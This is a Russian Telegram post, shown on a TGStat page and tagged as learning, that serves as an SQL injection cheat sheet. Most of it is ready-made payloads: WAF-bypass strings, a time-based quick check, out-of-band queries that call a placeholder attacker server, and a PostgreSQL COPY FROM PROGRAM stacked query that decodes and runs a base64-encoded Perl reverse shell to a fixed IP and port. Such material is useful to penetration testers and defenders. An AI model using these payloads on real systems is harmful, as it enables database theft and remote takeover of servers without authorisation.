TGStat
TGStat
Введите текст для поиска
Расширенный поиск каналов
  • flag Russian
    Язык сайта
    flag Russian flag English flag Uzbek
  • Вход на сайт
  • Каталог
    Каталог каналов и чатов Региональные подборки Тематические подборки Платные каналы Поиск каналов
    Добавить канал/чат
  • Рейтинги
    Рейтинг каналов Рейтинг чатов Рейтинг публикаций
    Рейтинги брендов и персон
  • Аналитика
  • Поиск по публикациям
  • Мониторинг Telegram
  • Продвижение
    Реклама через Яндекс Бизнес Реклама в каналах через TGStat Agency Реклама на сайте TGStat.ru
Bagley's 📚 Notes

30 Oct 2025, 01:08

Открыть в Telegram Поделиться Пожаловаться

Всем 👋! Это Bagley

💬Сегодня про SQL Injection. Но информации на просторах интернета настолько много, что решил написать только то, что может быть интересно (надеюсь)

#️⃣ Определимся с типами SQL injection's:
🔤Boolean-based SQLi (смотрим на поведение веба, и пытаемся понять, когда true/false)
🔤UNION SQLi (классическое объединение запросов)
🔤Error-based SQLi (если веб "выплёвывает" нам ошибки)
🔤Time-based SQLi (результат исполнения sql запроса контролируем задержкой SLEEP, BENCHMARK, WAITFOR DELAY, PG_SLEEP)
🔤Out-of-band (OOB) SQLi:
SELECT 1 INTO OUTFILE '\\\\__ATTACK_SERVER__\SQLiOOB'
exec master..xp_dirtree '//__ATTACK_SERVER__/SQLiOOB'
🔤Second-order SQLi (когда возвращаемые/сохраняемые данные используются в других запросах)

#️⃣ Что можно попробовать, если столкнулись с WAF'ом?
#️⃣ Order By Injection
Классика, но часто упускается из виду. Поле order динамически подставляется в запрос.
/search?order=id` ASC,(SELECT CASE WHEN (SELECT SUBSTRING(version(),1,1))='5' THEN SLEEP(5) ELSE 0 END))-- -
#️⃣ Unicode
%u0031%u0027%u004f%u0052%u0031%u003d%u0031--
#️⃣ HEX Значения
' UNION SELECT 0x7461626c655f6e616d65 FROM information_schema.tables-- -

#️⃣ Двойное URL-кодирование, почему стоит проверить: WAF декодирует один раз, а бэкенд - два.
Мы шлем: %2527 (закодированный символ %27)
WAF видит: %27 и пропускает.
Бэкенд видит: ' - и получает нашу кавычку.

#️⃣ Все мы знаем про комменты -- -, #, /**/
Пробел в -- - ставится для того, что mysql понял, что это не двойной минус, а коммент, и это нам может помочь
select(if(1=1,1,0)); -> [BLOCKED]
select(--if(1=1,1,0)); -> 1
select(-+-+if(1=1,1,0)); -> 1
эта тема может сработать с различными функциями (т.е. --function(...))

#️⃣ блочит FROM, берем *1e0from
select/**/0x75736572*1e0from/**/mysql.user/**/where/**/user/**/like(0x25726f6f25);
можно попробовать разбить mysql.user: mysql.%0auser,mysql.%00user,mysql.%0duser
#️⃣ триггер на union, пробуем *1e0union
select 1 or 1*1e0union select 2;
#️⃣ конструкции типа /*xx*/, "``", {..}
/index.php?id={`foo`/*bar*/(select--2)}
id попадает в запрос:
select login from users where id={`foo`/*bar*/(select--2)};
выбирает юзера с id=2

Где искать❓
Везде, где присутствует пользовательский ввод (user input): параметры запроса, Cookie, значения Header'ов
Ищем в JSON, XML запросах, и тем более в GraphQL!
#️⃣Quick_Check запрос: 0"XOR(if(now()=sysdate(),sleep(5),0))XOR"X

Как крутить❓
От простого, к сложному. Начни с самых простых запросов ' or 44>43, добавляй функционал ' or if(44>43,(4-sleep(3)),0), усложняй запрос и следи за реакцией WAF: блочит, пытаемся заменить функционал похожими функциями, и так далее

#️⃣CTF-лайк Stacked-Query reverse shell в psql (просто, чтоб не потерять):
DROP TABLE IF EXISTS cmd_exec2;
CREATE TABLE cmd_exec2(cmd_output2 text);
COPY cmd_exec2 FROM PROGRAM 'echo cGVybCAtTUlPIC1lICckcD1mb3JrO2V4aXQsaWYoJHApOyRjPW5ldyBJTzo6U29ja2V0OjpJTkVUKFBlZXJBZGRyLCIxMC4xMjEuMzIuNzM6NDQ0NCIpO1NURElOLT5mZG9wZW4oJGMscik7JH4tPmZkb3BlbigkYyx3KTtzeXN0ZW0kXyB3aGlsZTw+OycK | base64 -d | bash';
SELECT * FROM cmd_exec2;
DROP TABLE IF EXISTS cmd_exec2;

➡️ Свежая статья на codeby
➡️ Мануал от YesWeHack
➡️ PayloadsAllTheThings

⤵️
Ghauri - кроссплатформенный инструмент для тех, кто хочет попробовать чего-нибудь нового.
Ну с SQLMap'ом думаю знакомы все👍

❔ Основные посты канала

#learning

590 0 20 25
Каталог
Каталог каналов и чатов Подборки каналов Поиск каналов Добавить канал/чат
Рейтинги
Рейтинг каналов Telegram Рейтинг чатов Telegram Рейтинг публикаций Рейтинги брендов и персон
API
API статистики API поиска публикаций API Callback
Наши каналы
@TGStat @TGStat_Chat @telepulse @TGStatAPI
Почитать
Академия TGStat Исследование Telegram 2019 Исследование Telegram 2021 Исследование Telegram 2023
Контакты
Справочный центр Поддержка Почта Вакансии
Всякая всячина
Пользовательское соглашение Политика конфиденциальности Публичная оферта
Наши боты
@TGStat_Bot @SearcheeBot @TGAlertsBot @tg_analytics_bot @TGStatChatBot